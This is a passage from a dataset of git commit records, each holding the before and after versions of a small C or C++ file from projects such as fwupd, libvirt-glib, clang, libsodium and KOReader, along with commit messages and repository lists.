list\n","lang":"C","license":"lgpl-2.1","repos":"wbx-github\/uclibc-ng,kraj\/uclibc-ng,skristiansson\/uClibc-or1k,klee\/klee-uclibc,ddcc\/klee-uclibc-0.9.33.2,groundwater\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ndmsystems\/uClibc,OpenInkpot-archive\/iplinux-uclibc,m-labs\/uclibc-lm32,hwoarang\/uClibc,ChickenRunjyd\/klee-uclibc,majek\/uclibc-vx32,foss-for-synopsys-dwc-arc-processors\/uClibc,klee\/klee-uclibc,ffainelli\/uClibc,ffainelli\/uClibc,hjl-tools\/uClibc,skristiansson\/uClibc-or1k,hwoarang\/uClibc,m-labs\/uclibc-lm32,foss-xtensa\/uClibc,foss-xtensa\/uClibc,brgl\/uclibc-ng,ysat0\/uClibc,kraj\/uClibc,hwoarang\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,wbx-github\/uclibc-ng,majek\/uclibc-vx32,kraj\/uclibc-ng,foss-xtensa\/uClibc,wbx-github\/uclibc-ng,atgreen\/uClibc-moxie,mephi42\/uClibc,ChickenRunjyd\/klee-uclibc,waweber\/uclibc-clang,ddcc\/klee-uclibc-0.9.33.2,ChickenRunjyd\/klee-uclibc,hwoarang\/uClibc,ysat0\/uClibc,ndmsystems\/uClibc,waweber\/uclibc-clang,klee\/klee-uclibc,waweber\/uclibc-clang,atgreen\/uClibc-moxie,ffainelli\/uClibc,OpenInkpot-archive\/iplinux-uclibc,foss-for-synopsys-dwc-arc-processors\/uClibc,groundwater\/uClibc,ysat0\/uClibc,gittup\/uClibc,m-labs\/uclibc-lm32,ysat0\/uClibc,mephi42\/uClibc,gittup\/uClibc,brgl\/uclibc-ng,wbx-github\/uclibc-ng,ffainelli\/uClibc,foss-xtensa\/uClibc,groundwater\/uClibc,waweber\/uclibc-clang,groundwater\/uClibc,gittup\/uClibc,hjl-tools\/uClibc,kraj\/uclibc-ng,kraj\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,mephi42\/uClibc,skristiansson\/uClibc-or1k,atgreen\/uClibc-moxie,groundwater\/uClibc,majek\/uclibc-vx32,OpenInkpot-archive\/iplinux-uclibc,klee\/klee-uclibc,gittup\/uClibc,skristiansson\/uClibc-or1k,czankel\/xtensa-uclibc,ddcc\/klee-uclibc-0.9.33.2,majek\/uclibc-vx32,m-labs\/uclibc-lm32,mephi42\/uClibc,ChickenRunjyd\/klee-uclibc,czankel\/xtensa-uclibc,ndmsystems\/uClibc,hjl-tools\/uClibc,hjl-tools\/uClibc,ddcc\/klee-uclibc-0.9.33.2,czankel\/xtensa-uclibc,kraj\/uClibc,hjl-tools\/uClibc,ffainelli\/uClibc,brgl\/uclibc-ng,atgreen\/uClibc-moxie,ndmsystems\/uClibc,kraj\/uClibc,kraj\/uClibc,czankel\/xtensa-uclibc,brgl\/uclibc-ng"}
{"commit":"40d0f7fefc15d4830f769f3b3115a622e9254452","old_file":"source\/logging.c","new_file":"source\/logging.c","old_contents":"#include \"logging.h\"\n\nvoid error_log(const char *format, ...){\n\tFILE *flog;\n\t\/\/If the log file is over 3.5 megabytes, empty it and start again\n\tstruct stat st;\n\tif (!stat(log_filename, &st) && st.st_size >= 36700160) \/\/1048576 per megabyte\n\t\tflog = fopen(log_filename, \"w+\");\n\telse flog = fopen(log_filename, \"a+\");\n\t\/\/Write to the log file\n\tif (!flog) fprintf(stderr, \"Error! Could not open log file for writing!\\n\");\n\telse{\n\t\t\/\/Get time of error\n\t\ttime_t raw;\n\t\tstruct tm *t;\n\t\ttime(&raw);\n\t\tt = localtime(&raw);\n\t\tfprintf(flog, \"[%d\/%d %d:%d:%d] \", t->tm_mon+1, t->tm_mday, t->tm_hour, t->tm_min, t->tm_sec);\n\t\t\/\/Write error\n\t\tva_list args;\n\t\tva_start(args, format);\n\t\tvfprintf(flog, format, args);\n\t\tva_end(args);\n\t\tfclose(flog);\n\t}\n}\n","new_contents":"#include \"logging.h\"\n\nvoid error_log(const char *format, ...){\n\tFILE *flog;\n\t\/\/If the log file is over 3.5 megabytes, empty it and start again\n\tstruct stat st;\n\tif (!stat(log_filename, &st) && st.st_size >= 3670016) \/\/1048576 per megabyte\n\t\tflog = fopen(log_filename, \"w+\");\n\telse flog = fopen(log_filename, \"a+\");\n\t\/\/Write to the log file\n\tif (!flog) fprintf(stderr, \"Error! Could not open log file for writing!\\n\");\n\telse{\n\t\t\/\/Get time of error\n\t\ttime_t raw;\n\t\tstruct tm *t;\n\t\ttime(&raw);\n\t\tt = localtime(&raw);\n\t\tfprintf(flog, \"[%d\/%d %d:%d:%d] \", t->tm_mon+1, t->tm_mday, t->tm_hour, t->tm_min, t->tm_sec);\n\t\t\/\/Write error\n\t\tva_list args;\n\t\tva_start(args, format);\n\t\tvfprintf(flog, format, args);\n\t\tva_end(args);\n\t\tfclose(flog);\n\t}\n}\n","subject":"Set log limit back to 3.5 megabytes","message":"Set log limit back to 3.5 megabytes\n","lang":"C","license":"mit","repos":"Azmisov\/NIMBYDaemon,Azmisov\/NIMBYDaemon,Azmisov\/NIMBYDaemon"}
{"commit":"efa2803eb4c8b930f0b57c2b7d46d222641c3c4a","old_file":"plugins\/wacom-raw\/fu-wacom-emr-device.h","new_file":"plugins\/wacom-raw\/fu-wacom-emr-device.h","old_contents":"\/*\n * Copyright (C) 2018-2019 Richard Hughes <richard@hughsie.com>\n *\n * SPDX-License-Identifier: LGPL-2.1+\n *\/\n\n#pragma once\n\n#include \"fu-wacom-device.h\"\n\n#define FU_TYPE_WACOM_EMR_DEVICE (fu_wacom_emr_device_get_type ())\nG_DECLARE_FINAL_TYPE (FuWacomEmrDevice, fu_wacom_emr_device, FU, WACOM_EMR_DEVICE, FuUdevDevice)\n\nFuWacomEmrDevice\t*fu_wacom_emr_device_new\t(FuUdevDevice\t*device);\n","new_contents":"\/*\n * Copyright (C) 2018-2019 Richard Hughes <richard@hughsie.com>\n *\n * SPDX-License-Identifier: LGPL-2.1+\n *\/\n\n#pragma once\n\n#include \"fu-wacom-device.h\"\n\n#define FU_TYPE_WACOM_EMR_DEVICE (fu_wacom_emr_device_get_type ())\nG_DECLARE_FINAL_TYPE (FuWacomEmrDevice, fu_wacom_emr_device, FU, WACOM_EMR_DEVICE, FuWacomDevice)\n\nFuWacomEmrDevice\t*fu_wacom_emr_device_new\t(FuUdevDevice\t*device);\n","subject":"Fix a regression for EMR devices","message":"wacom-emr: Fix a regression for EMR devices\n\nActually trying to instantiate the object leads to:\n\n    Specified class size for type 'FuWacomEmrDevice' is smaller than the\n    parent type's 'FuWacomDevice' class size.\n\nFixes https:\/\/github.com\/fwupd\/fwupd\/issues\/1456\n","lang":"C","license":"lgpl-2.1","repos":"fwupd\/fwupd,fwupd\/fwupd,hughsie\/fwupd,hughsie\/fwupd,fwupd\/fwupd,fwupd\/fwupd,hughsie\/fwupd,hughsie\/fwupd"}
{"commit":"d909b3ac3820d916938ea58d5dbb10993bf79bc7","old_file":"src\/test_at\/UDP_command_test.c","new_file":"src\/test_at\/UDP_command_test.c","old_contents":"","new_contents":"\/*Lien du tuto d'où provient le code\nhttp:\/\/www.upsilonaudio.com\/ar-drone-envoyer-des-commandes-at-paquets-udp\/\nlien vers un listing des commandes AT\nhttp:\/\/www.upsilonaudio.com\/ar-drone-recapitulatif-des-commandes-at\/\n*\/\n\n#include <arpa\/inet.h>\n#include <netinet\/in.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <unistd.h>\n#include <stdlib.h> \n#include <string.h>\n#include <time.h>\n\n#define BUFLEN 512\n#define ADRESSEIP \"127.0.0.1\"\n#define PORT 5556\n#define MESSAGE1 \"AT*REF=101,290718208\\r\"\n#define MESSAGE2 \"AT*REF=102,290717696\\r\"\n\nvoid delai ( int delaiSecondes );\nvoid err(char *s);\n\nint main(int argc, char** argv)\n{\n    struct sockaddr_in serv_addr;\n    int sockfd, slen=sizeof(serv_addr);\n    if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)\n    {\n        err(\"socket\");\n    }\n    bzero(&serv_addr, sizeof(serv_addr));\n    serv_addr.sin_family = AF_INET;\n    serv_addr.sin_port = htons(PORT);\n    if (inet_aton(ADRESSEIP, &serv_addr.sin_addr)==0)\n    {\n        fprintf(stderr, \"inet_aton() failed\\n\");\n        exit(1);\n    }\n    if (sendto(sockfd, MESSAGE1, BUFLEN, 0, (struct sockaddr*)&serv_addr, slen)==-1)\n    {\n        err(\"sendto()\");\n    }\n\t\/*delai(5);\n    if (sendto(sockfd, MESSAGE2, BUFLEN, 0, (struct sockaddr*)&serv_addr, slen)==-1)\n    {\n        err(\"sendto()\");\n    }*\/\n    close(sockfd);\n    return 0;\n}\n\nvoid err(char *s)\n{\n    perror(s);\n    exit(1);\n}\n\nvoid delai ( int delaiSecondes )\n{\n    while ( clock()\/CLOCKS_PER_SEC < delaiSecondes)\n    {\n    }\n}\n","subject":"Add a test program: sending AT command to the drone","message":"Add a test program: sending AT command to the drone\n","lang":"C","license":"mit","repos":"super7ramp\/Leonard,super7ramp\/Leonard,super7ramp\/Leonard,super7ramp\/Leonard,super7ramp\/Leonard,super7ramp\/Leonard"}
{"commit":"7bc4e913236c28418cd445f5414852257073e3d4","old_file":"hello.c","new_file":"hello.c","old_contents":"#include <stdio.h>\n\nint main(void)\n{\n  printf(\"hello, world\\n\")\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n\nint main(void)\n{\n  printf(\"hello, world\\n\");\n  return 0;\n}\n","subject":"Fix the previous, remarkable error.","message":"Fix the previous, remarkable error.\n","lang":"C","license":"apache-2.0","repos":"jsh\/services_test"}
{"commit":"5d4caae22325f378f745f5f1ae2009bd781cc0bc","old_file":"tests\/regression\/02-base\/48-unknown-func.c","new_file":"tests\/regression\/02-base\/48-unknown-func.c","old_contents":"","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\n\ntypedef struct list {\n    int val;\n    struct list *next;\n} list_t;\n\n\/\/ void mutate_list(list_t n){\n\/\/     list_t *next = n.next;\n\/\/     next->val = 42;\n\/\/ }\n\nint main(){\n    list_t first;\n    list_t second;\n\n    first.next = &second;\n    first.val = 1;\n    second.next = NULL;\n    second.val = 2;\n\n    \/\/ When passing a struct to an unknown function, reachable memory should be invalidated\n    mutate_list(first);\n    assert(second.val == 2); \/\/UNKNOWN!\n\n    \/\/ Passing a pointer to the struct here.\n    mutate_list2(&first);\n    assert(second.val == 2); \/\/UNKNOWN!\n}\n","subject":"Add test where memory is not invalidated correctly.","message":"Add test where memory is not invalidated correctly.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4fe3e0c8113f407bcb99f3bfe9c73f6532ecef6d","old_file":"libvirt-gconfig\/libvirt-gconfig-compat.h","new_file":"libvirt-gconfig\/libvirt-gconfig-compat.h","old_contents":"\/*\n * libvirt-gconfig-compat.h: libvirt configuration\n *\n * Copyright (C) 2012 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA\n *\n * Author: Christophe Fergeau <cfergeau@redhat.com>\n *\/\n\n#ifndef __LIBVIRT_GCONFIG_COMPAT_H__\n#define __LIBVIRT_GCONFIG_COMPAT_H__\n\n#include <glib-object.h>\n\n#if GLIB_CHECK_VERSION(2, 34, 0)\n#define g_type_init()\n#endif\n\n#endif \/* __LIBVIRT_GCONFIG_COMPAT_H__ *\/\n","new_contents":"\/*\n * libvirt-gconfig-compat.h: libvirt configuration\n *\n * Copyright (C) 2012 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA\n *\n * Author: Christophe Fergeau <cfergeau@redhat.com>\n *\/\n\n#ifndef __LIBVIRT_GCONFIG_COMPAT_H__\n#define __LIBVIRT_GCONFIG_COMPAT_H__\n\n#include <glib-object.h>\n\n#if GLIB_CHECK_VERSION(2, 35, 0)\n#define g_type_init()\n#endif\n\n#endif \/* __LIBVIRT_GCONFIG_COMPAT_H__ *\/\n","subject":"Fix glib version check for g_type_init","message":"Fix glib version check for g_type_init\n\ng_type_init has been deprecated in glib 2.35, not 2.34. With versions\nolder than 2.35, we have to call it or we'll get a runtime failure.\n","lang":"C","license":"lgpl-2.1","repos":"libvirt\/libvirt-glib,libvirt\/libvirt-glib,libvirt\/libvirt-glib"}
{"commit":"b30b294d1c079e18068f8ddef7acfa2713cc427f","old_file":"hat-trie\/src\/common.h","new_file":"hat-trie\/src\/common.h","old_contents":"\/*\n * This file is part of hat-trie.\n *\n * Copyright (c) 2011 by Daniel C. Jones <dcjones@cs.washington.edu>\n *\n *\n * Common typedefs, etc.\n *\n *\/\n\n\n#ifndef HATTRIE_COMMON_H\n#define HATTRIE_COMMON_H\n\ntypedef unsigned long value_t;\n\n#endif\n\n\n","new_contents":"\/*\n * This file is part of hat-trie.\n *\n * Copyright (c) 2011 by Daniel C. Jones <dcjones@cs.washington.edu>\n *\n *\n * Common typedefs, etc.\n *\n *\/\n\n\n#ifndef HATTRIE_COMMON_H\n#define HATTRIE_COMMON_H\n\n#include \"pstdint.h\"\n\ntypedef uintptr_t value_t;\n\n#endif\n\n\n","subject":"Update hat-trie C library. Fix GH-11.","message":"Update hat-trie C library. Fix GH-11.\n","lang":"C","license":"mit","repos":"kmike\/hat-trie,kmike\/hat-trie,kmike\/hat-trie,kmike\/hat-trie"}
{"commit":"1310c9b735555ded81f2cf088d047fe8e62db294","old_file":"test.c","new_file":"test.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <dirent.h>\n#include <sys\/time.h>\n\nint main(int argc, char ** argv){\n    printf(\"Test %d\\n\", argc);\n    int i;\n    for(i = 0; i < argc; i++){\n        printf(\"%d: %s\\n\", i, argv[i]);\n    }\n    struct timeval tv;\n    if(gettimeofday(&tv, NULL) == 0){\n        printf(\"Gettimeofday %d %d\\n\", tv.tv_sec, tv.tv_usec);\n        void* test = malloc(1024*1024);\n        if(test > 0){\n            printf(\"Malloc %x\\n\", test);\n            free(test);\n            printf(\"Free\\n\");\n\n            DIR * dir = opendir(\"file:\/\/\/\");\n            if (dir != NULL) {\n                struct dirent * ent;\n                while ((ent = readdir(dir)) != NULL) {\n                    printf(\"%s\\n\", ent->d_name);\n                }\n                closedir(dir);\n\n        \t    pid_t pid = fork();\n                if(pid == 0){\n                    printf(\"Fork Parent\\n\");\n                }else if(pid > 0){\n                    printf(\"Fork Child %d\\n\", pid);\n                } else {\n                    printf(\"Fork Failed\\n\");\n                }\n            }else{\n                printf(\"Opendir Failed\\n\");\n            }\n        } else {\n            printf(\"Malloc Failed\\n\");\n        }\n    } else {\n        printf(\"Gettimeofday Failed\\n\");\n    }\n    return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <dirent.h>\n#include <sys\/time.h>\n\nint main(int argc, char ** argv){\n    printf(\"Test %d\\n\", argc);\n    int i;\n    for(i = 0; i < argc; i++){\n        printf(\"%d: %s\\n\", i, argv[i]);\n    }\n    struct timespec tp;\n    if(clock_gettime(CLOCK_REALTIME, &tp) == 0){\n        printf(\"clock_gettime %d %d\\n\", tp.tv_sec, tp.tv_nsec);\n        void* test = malloc(1024*1024);\n        if(test > 0){\n            printf(\"Malloc %x\\n\", test);\n            free(test);\n            printf(\"Free\\n\");\n\n            DIR * dir = opendir(\"file:\/\/\/\");\n            if (dir != NULL) {\n                struct dirent * ent;\n                while ((ent = readdir(dir)) != NULL) {\n                    printf(\"%s\\n\", ent->d_name);\n                }\n                closedir(dir);\n\n        \t    pid_t pid = fork();\n                if(pid > 0){\n                    printf(\"Fork Parent %d = %d\\n\", getpid(), pid);\n                }else if(pid == 0){\n                    printf(\"Fork Child %d = %d\\n\", getpid(), pid);\n                } else {\n                    printf(\"Fork Failed %d = %d\\n\", getpid(), pid);\n                }\n            }else{\n                printf(\"Opendir Failed\\n\");\n            }\n        } else {\n            printf(\"Malloc Failed\\n\");\n        }\n    } else {\n        printf(\"clock_gettime Failed\\n\");\n    }\n    return 0;\n}\n","subject":"Implement PID, fix forking in C","message":"Implement PID, fix forking in C\n","lang":"C","license":"mit","repos":"redox-os\/libc,redox-os\/libc,redox-os\/libc"}
{"commit":"7f2afc7a1926bf85cf3b990ebe4ed1fc70968251","old_file":"src\/quickavro.h","new_file":"src\/quickavro.h","old_contents":"\/*\n * Copyright 2016 Chris Marshall\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __QUICKAVRO_H\n#define __QUICKAVRO_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/\/ Used when reading 'zig-zag' encoded values\n#define MAX_VARINT_SIZE 10\n\n\/\/ Initial write buffer\n#define INITIAL_BUFFER_SIZE 1024\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/*\n * Copyright 2016 Chris Marshall\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __QUICKAVRO_H\n#define __QUICKAVRO_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/\/ Used when reading 'zig-zag' encoded values\n#define MAX_VARINT_SIZE 10\n\n\/\/ Initial write buffer\n#define INITIAL_BUFFER_SIZE 1024 * 8\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Increase initial buffer to 8192 bytes","message":"Increase initial buffer to 8192 bytes\n","lang":"C","license":"apache-2.0","repos":"ChrisRx\/quickavro,ChrisRx\/quickavro"}
{"commit":"3278ef5a293184162b68aad23ee89e1b713c564c","old_file":"util.h","new_file":"util.h","old_contents":"\/*\n    KindlePDFViewer: buffer for blitting muPDF data to framebuffer (blitbuffer)\n    Copyright (C) 2011 Hans-Werner Hilse <hilse@web.de>\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#ifndef _UTIL_H\n#define _UTIL_H\n\n#include <lua.h>\n#include <lualib.h>\n#include <lauxlib.h>\n\nint luaopen_util(lua_State *L);\n\n#endif\n","new_contents":"\/*\n    KindlePDFViewer: miscellaneous utility functions for Lua\n    Copyright (C) 2011 Hans-Werner Hilse <hilse@web.de>\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#ifndef _UTIL_H\n#define _UTIL_H\n\n#include <lua.h>\n#include <lualib.h>\n#include <lauxlib.h>\n\nint luaopen_util(lua_State *L);\n\n#endif\n","subject":"Correct the comment (the existing text was referring to a different file).","message":"Correct the comment (the existing text was referring to a different file).\n","lang":"C","license":"agpl-3.0","repos":"apletnev\/koreader-base,frankyifei\/koreader-base,lgeek\/koreader,houqp\/koreader-base,mihailim\/koreader,Hzj-jie\/koreader-base,apletnev\/koreader-base,koreader\/koreader-base,robert00s\/koreader,frankyifei\/koreader-base,ashhher3\/koreader,frankyifei\/koreader-base,koreader\/koreader-base,chrox\/koreader,chihyang\/koreader,Frenzie\/koreader-base,houqp\/koreader,pazos\/koreader,houqp\/koreader-base,apletnev\/koreader,apletnev\/koreader-base,koreader\/koreader,frankyifei\/koreader-base,frankyifei\/koreader,NiLuJe\/koreader-base,Markismus\/koreader,poire-z\/koreader,koreader\/koreader-base,apletnev\/koreader-base,NiLuJe\/koreader,noname007\/koreader,Hzj-jie\/koreader,Hzj-jie\/koreader-base,houqp\/koreader-base,koreader\/koreader-base,houqp\/koreader-base,NiLuJe\/koreader,Frenzie\/koreader-base,Hzj-jie\/koreader-base,Frenzie\/koreader-base,Frenzie\/koreader,NiLuJe\/koreader-base,poire-z\/koreader,NiLuJe\/koreader-base,NickSavage\/koreader,ashang\/koreader,Frenzie\/koreader,koreader\/koreader,NiLuJe\/koreader-base,Hzj-jie\/koreader-base,Frenzie\/koreader-base,mwoz123\/koreader"}
{"commit":"69e015dd8893abecc2f17f86544c7b82e86416cb","old_file":"include\/stud\/string.h","new_file":"include\/stud\/string.h","old_contents":"#ifndef STUD_String_H\n#define STUD_String_H\n\n#include <initializer_list>\n#include <string>\n\n\nnamespace stud {\n\nclass string : public std::string {\n  public:\n    string() = default;\n    string(const string& rhs) = default;\n    string(string&& rhs) = default;\n    string& operator=(const string& rhs) = default;\n    string& operator=(string&& rhs) = default;\n    explicit string(const char* raw_string) : std::string(raw_string) {}\n    explicit string(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n    explicit string(size_t to_fill, char character) : std::string(to_fill, character) {}\n    explicit string(const std::string& std_string) : std::string(std_string) {}\n    explicit string(const std::string& std_string, size_t position,\n                    size_t length = std::string::npos)\n            : std::string(std_string, position, length) {}\n    explicit string(std::initializer_list<char> il) : std::string(il) {}\n    template <class InputIterator>\n    explicit string(InputIterator first, InputIterator last)\n            : std::string(first, last) {}\n};\n\n} \/\/ namespace stud\n\n#endif \/\/ STUD_String_H\n","new_contents":"#ifndef STUD_String_H\n#define STUD_String_H\n\n#include <cstring>\n\n#include <initializer_list>\n#include <string>\n\n\nnamespace stud {\n\nclass string : public std::string {\n  public:\n    string() = default;\n    string(const string& rhs) = default;\n    string(string&& rhs) = default;\n    string& operator=(const string& rhs) = default;\n    string& operator=(string&& rhs) = default;\n    explicit string(const char* raw_string) : std::string(raw_string) {}\n    explicit string(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n    explicit string(size_t to_fill, char character) : std::string(to_fill, character) {}\n    explicit string(const std::string& std_string) : std::string(std_string) {}\n    explicit string(const std::string& std_string, size_t position,\n                    size_t length = std::string::npos)\n            : std::string(std_string, position, length) {}\n    explicit string(std::initializer_list<char> il) : std::string(il) {}\n    template <class InputIterator>\n    explicit string(InputIterator first, InputIterator last)\n            : std::string(first, last) {}\n};\n\n} \/\/ namespace stud\n\n#endif \/\/ STUD_String_H\n","subject":"Add explicit header for size_t","message":"Add explicit header for size_t\n","lang":"C","license":"mit","repos":"whoshuu\/stud"}
{"commit":"7c76027db0b7a22bd1addfb3055c435b425fa16b","old_file":"test\/CodeGen\/regparm.c","new_file":"test\/CodeGen\/regparm.c","old_contents":"\/\/ RUN: %clang_cc1 -triple i386-unknown-unknown %s -emit-llvm -o - | FileCheck %s\n\n#define FASTCALL __attribute__((regparm(2)))\n\ntypedef struct {\n  int aaa;\n  double bbbb;\n  int ccc[200];\n} foo;\n\ntypedef void (*FType)(int, int)      __attribute ((regparm (3), stdcall));\nFType bar;\n\nstatic void FASTCALL\nreduced(char b, double c, foo* d, double e, int f);\n\nint\nmain(void) {\n  \/\/ CHECK: call void @reduced(i8 signext inreg 0, {{.*}} %struct.anon* inreg null\n  reduced(0, 0.0, 0, 0.0, 0);\n  \/\/ CHECK: call x86_stdcallcc void %tmp(i32 inreg 1, i32 inreg 2)\n  bar(1,2);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple i386-unknown-unknown %s -emit-llvm -o - | FileCheck %s\n\n#define FASTCALL __attribute__((regparm(2)))\n\ntypedef struct {\n  int aaa;\n  double bbbb;\n  int ccc[200];\n} foo;\n\ntypedef void (*FType)(int, int)      __attribute ((regparm (3), stdcall));\nFType bar;\n\nstatic void FASTCALL\nreduced(char b, double c, foo* d, double e, int f);\n\nint\nmain(void) {\n  \/\/ CHECK: call void @reduced(i8 signext inreg 0, {{.*}} %struct.anon* inreg null\n  reduced(0, 0.0, 0, 0.0, 0);\n  \/\/ CHECK: call x86_stdcallcc void {{.*}}(i32 inreg 1, i32 inreg 2)\n  bar(1,2);\n}\n","subject":"Fix test in -Asserts build.","message":"Fix test in -Asserts build.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@99960 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"2c7aba48f3719344f9952dca59095805297aa254","old_file":"test\/default\/cmptest.h","new_file":"test\/default\/cmptest.h","old_contents":"\n#ifndef __CMPTEST_H__\n#define __CMPTEST_H__\n\n#include <stdio.h>\n\n#include \"sodium.h\"\n\n#define TEST_NAME_RES TEST_NAME \".res\"\n#define TEST_NAME_OUT TEST_SRCDIR \"\/\" TEST_NAME \".exp\"\n\nFILE *fp_res;\nint   xmain(void);\n\nint main(void)\n{\n    FILE *fp_out;\n    int   c;\n\n    if ((fp_res = fopen(TEST_NAME_RES, \"w+\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_RES \")\");\n        return 99;\n    }\n    if (sodium_init() != 0) {\n        return 99;\n    }\n    xmain();\n    rewind(fp_res);\n    if ((fp_out = fopen(TEST_NAME_OUT, \"r\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_OUT \")\");\n        return 99;\n    }\n    do {\n        if ((c = fgetc(fp_res)) != fgetc(fp_out)) {\n            return 99;\n        }\n    } while (c != EOF);\n\n    return 0;\n}\n\n#undef  printf\n#define printf(...) fprintf(fp_res, __VA_ARGS__)\n#define main xmain\n\n#endif\n","new_contents":"\n#ifndef __CMPTEST_H__\n#define __CMPTEST_H__\n\n#include <stdio.h>\n\n#include \"sodium.h\"\n\n#define TEST_NAME_RES TEST_NAME \".res\"\n#define TEST_NAME_OUT TEST_SRCDIR \"\/\" TEST_NAME \".exp\"\n\n#ifdef HAVE_ARC4RANDOM\n# undef rand\n# define rand(X) arc4random(X)\n#endif\n\nFILE *fp_res;\nint   xmain(void);\n\nint main(void)\n{\n    FILE *fp_out;\n    int   c;\n\n    if ((fp_res = fopen(TEST_NAME_RES, \"w+\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_RES \")\");\n        return 99;\n    }\n    if (sodium_init() != 0) {\n        return 99;\n    }\n    xmain();\n    rewind(fp_res);\n    if ((fp_out = fopen(TEST_NAME_OUT, \"r\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_OUT \")\");\n        return 99;\n    }\n    do {\n        if ((c = fgetc(fp_res)) != fgetc(fp_out)) {\n            return 99;\n        }\n    } while (c != EOF);\n\n    return 0;\n}\n\n#undef  printf\n#define printf(...) fprintf(fp_res, __VA_ARGS__)\n#define main xmain\n\n#endif\n","subject":"Use arc4random() in tests if available.","message":"Use arc4random() in tests if 